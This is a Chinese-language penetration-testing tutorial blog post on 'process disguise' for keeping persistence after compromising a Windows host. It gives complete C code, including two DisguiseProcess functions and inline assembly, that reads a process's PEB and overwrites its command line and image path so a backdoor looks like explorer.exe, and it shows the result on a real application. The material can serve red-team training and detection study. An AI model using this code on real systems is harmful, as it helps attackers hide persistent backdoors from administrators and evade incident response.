【渗透测试】初探进程伪装
前言
當我們獲取到一臺主機的權限過后,拿到了自己想要搜集的信息,這時候我們就會留一個后門進行權限維持,權限維持的學問其實很深,今天就主要介紹其中一種比較簡單的權限維持的方法 – 進程偽裝。
我們知道在windows里面有很多系統進程,如winlogon.exe、explorer.exe、services.exe等等,這些exe都是Windows必須具有的exe,當缺失某些exe的時候,windows就不能夠正常運行,所以我們如果想到實現進程偽裝,最好的選擇就是偽裝成系統必備的exe,當我們進行進程偽裝之后,在系統中顯示的就會是系統進程的信息,但這個程序還是能夠執行它正常的功能,這樣就達到了進程偽裝、權限維持的作用。
思路
我們判斷一個進程是否被劫持,一般是看他的進程名以及path,即啟動路徑來判斷,那么反推即可得到,我們可以通過修改進程模塊中的進程路徑以及進程名來實現進程偽裝的作用
比如我們這里再看看explorer的進程名和啟動路徑
那么這里我們改人如何獲取進程的這些信息呢,這里可以使用到ntdll.dll里面的NtQueryInformationProcess來獲取進程的PEB地址,這里稍微提一個概念,什么是PEB?
PEB,即Process Envirorment Block Structure,英文翻譯過來就是進程環境信息塊,這里包含了寫進程的信息。它的完整結構如下:
typedef struct _PEB {BYTE Reserved1[2];BYTE BeingDebugged; //被調試狀態BYTE Reserved2[1];PVOID Reserved3[2];PPEB_LDR_DATA Ldr;PRTL_USER_PROCESS_PARAMETERS ProcessParameters;BYTE Reserved4[104];PVOID Reserved5[52];PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;BYTE Reserved6[128];PVOID Reserved7[1];ULONG SessionId; } PEB, *PPEB;這里就不深究每個屬性的含義了,這里拿到PEB結構之后我們就能夠對進程的一些屬性進行修改就能夠實現進程偽裝的效果,但是這里并不能夠通過指針來直接速寫內存數據,因為每個程序都有自己獨立的空間,所以這里就需要用到ReadProcessMemory和WriteProcessMemory來讀寫進程
BOOL ReadProcessMemory([in] HANDLE hProcess,[in] LPCVOID lpBaseAddress,[out] LPVOID lpBuffer,[in] SIZE_T nSize,[out] SIZE_T *lpNumberOfBytesRead ); BOOL WriteProcessMemory([in] HANDLE hProcess,[in] LPVOID lpBaseAddress,[in] LPCVOID lpBuffer,[in] SIZE_T nSize,[out] SIZE_T *lpNumberOfBytesWritten );實現過程
首先使用OpenProcess打開進程句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);然后從ntdll.dll中獲取NtQueryInformationProcess的導出地址,因為這個函數沒有關聯導入庫,所以只能動態獲取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");我們獲取到到處地址過后需要注意一下NtQueryInformationProcess結構里面的PROCESS_BASIC_INFORMATION這個值,首先看下結構
__kernel_entry NTSTATUS NtQueryInformationProcess([in] HANDLE ProcessHandle,[in] PROCESSINFOCLASS ProcessInformationClass,[out] PVOID ProcessInformation,[in] ULONG ProcessInformationLength,[out, optional] PULONG ReturnLength );其中第三個值PROCESS_BASIC_INFORMATION 指向調用應用程序提供的緩沖區的指針,函數將請求的信息寫入該緩沖區。寫入的信息大小取決于ProcessInformationClass參數的數據類型
當ProcessInformationClass 參數是ProcessBasicInformation,緩沖器指向的PROCESSINFORMATION參數應該足夠大,以保持單個PROCESS_BASIC_INFORMATION具有下述布局結構:
typedef struct _PROCESS_BASIC_INFORMATION {PVOID Reserved1;PPEB PebBaseAddress;PVOID Reserved2[2];ULONG_PTR UniqueProcessId;PVOID Reserved3; } PROCESS_BASIC_INFORMATION;那么我們如何定位到PEB結構呢?
FS段寄存器指向當前的TEB結構,在TEB偏移0x30處是PEB指針,通過這個指針即可取得PEB的地址,可以通過匯編實現
__asm { mov eax,fs:[0x30] mov PEB,eax }這里我們要修改兩個參數,一個是命令行參數,一個是path參數,這里用winDBG跟一下PEB的結構
首先是在0x20偏移的地方,有一個叫ProcessParameters的屬性值,其結構體為_RTL_USER_PROCESS_PARAMETERS,繼續往里面跟
在0x60偏移的地方,ImagePathName即為可執行文件的路徑,結構體為_UNICODE_STRING,它的0x08偏移指向了一個Buffer,Buffer的內容為可執行文件路徑的字符串。同理,0x70偏移則指向了 CommandLine為命令行參數
那么我們首先獲取結構中的PebBaseAddress和ProcessPamameters
修改命令行信息的話就是修改結構中的Buffer和Length字段,在CommandLine這個結構里面
CmdLen = 2 + 2 * ::wcslen(lpwszCmd);::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);同理修改路徑信息的話也是修改Buffer跟Length字段,這里的結構就是ImagePathName
PathLen = 2 + 2 * ::wcslen(lpwszPath);::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);那么到這里我們就已經修改了命令行跟路徑的字段,完整代碼如下
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {// 打開進程獲取句柄HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);if (NULL == hProcess){printf("[!] OpenProcess failed,error is : %d", GetLastError());return FALSE;}typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;PROCESS_BASIC_INFORMATION pbi = { 0 };PEB peb = { 0 };RTL_USER_PROCESS_PARAMETERS Param = { 0 };USHORT CmdLen = 0;USHORT PathLen = 0;// 需要通過 LoadLibrary、GetProcessAddress 從 ntdll.dll 中獲取地址NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");if (NULL == NtQueryInformationProcess){printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());return FALSE;}// 獲取指定進程的基本信息NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);if (!NT_SUCCESS(status)){printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());return FALSE;}// 獲取PebBaseAddress::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);// 獲取ProcessParameters::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);// 修改命令行信息,即CommandLine結構里面的Buffer和Length字段CmdLen = 2 + 2 * ::wcslen(lpwszCmd);::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);// 修改路徑信息,即ImagePathName結構里面的Buffer和Length字段PathLen = 2 + 2 * ::wcslen(lpwszPath);::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);return TRUE; }這里也可以使用asm指向PEB結構進行數據的修改,其實跟上面的思路一樣,也是指向Buffer跟Length字段進行修改,但是這里定位到PEB結構是使用指針的方式,實現的效果是相同的
BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd) {// 打開進程獲取句柄HANDLE hProcess = GetModuleHandle(NULL);PPEB peb = { 0 };USHORT usCmdLen = 0;USHORT usPathLen = 0;__asm{mov eax,fs:[30h]mov peb,eax}usCmdLen = 2 + 2 * wcslen(lpwszCmd);(*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;(*peb).ProcessParameters->CommandLine.Length = usCmdLen;usPathLen = 2 + 2 * wcslen(lpwszPath);(*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;(*peb).ProcessParameters->ImagePathName.Length = usPathLen;return TRUE; }實現效果
這里演示下第一個代碼實現效果,選擇的是有道云進行進程偽裝成explorer,首先看一下explorer的詳細信息
運行一下程序,已經看到修改成功
再去看一下有道云這邊,可以看到已經實現了進程偽裝
總結
以上是生活随笔為你收集整理的【渗透测试】初探进程伪装的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Web安全】php://filter
- 下一篇: 【网络安全】代码审计-zzcms2021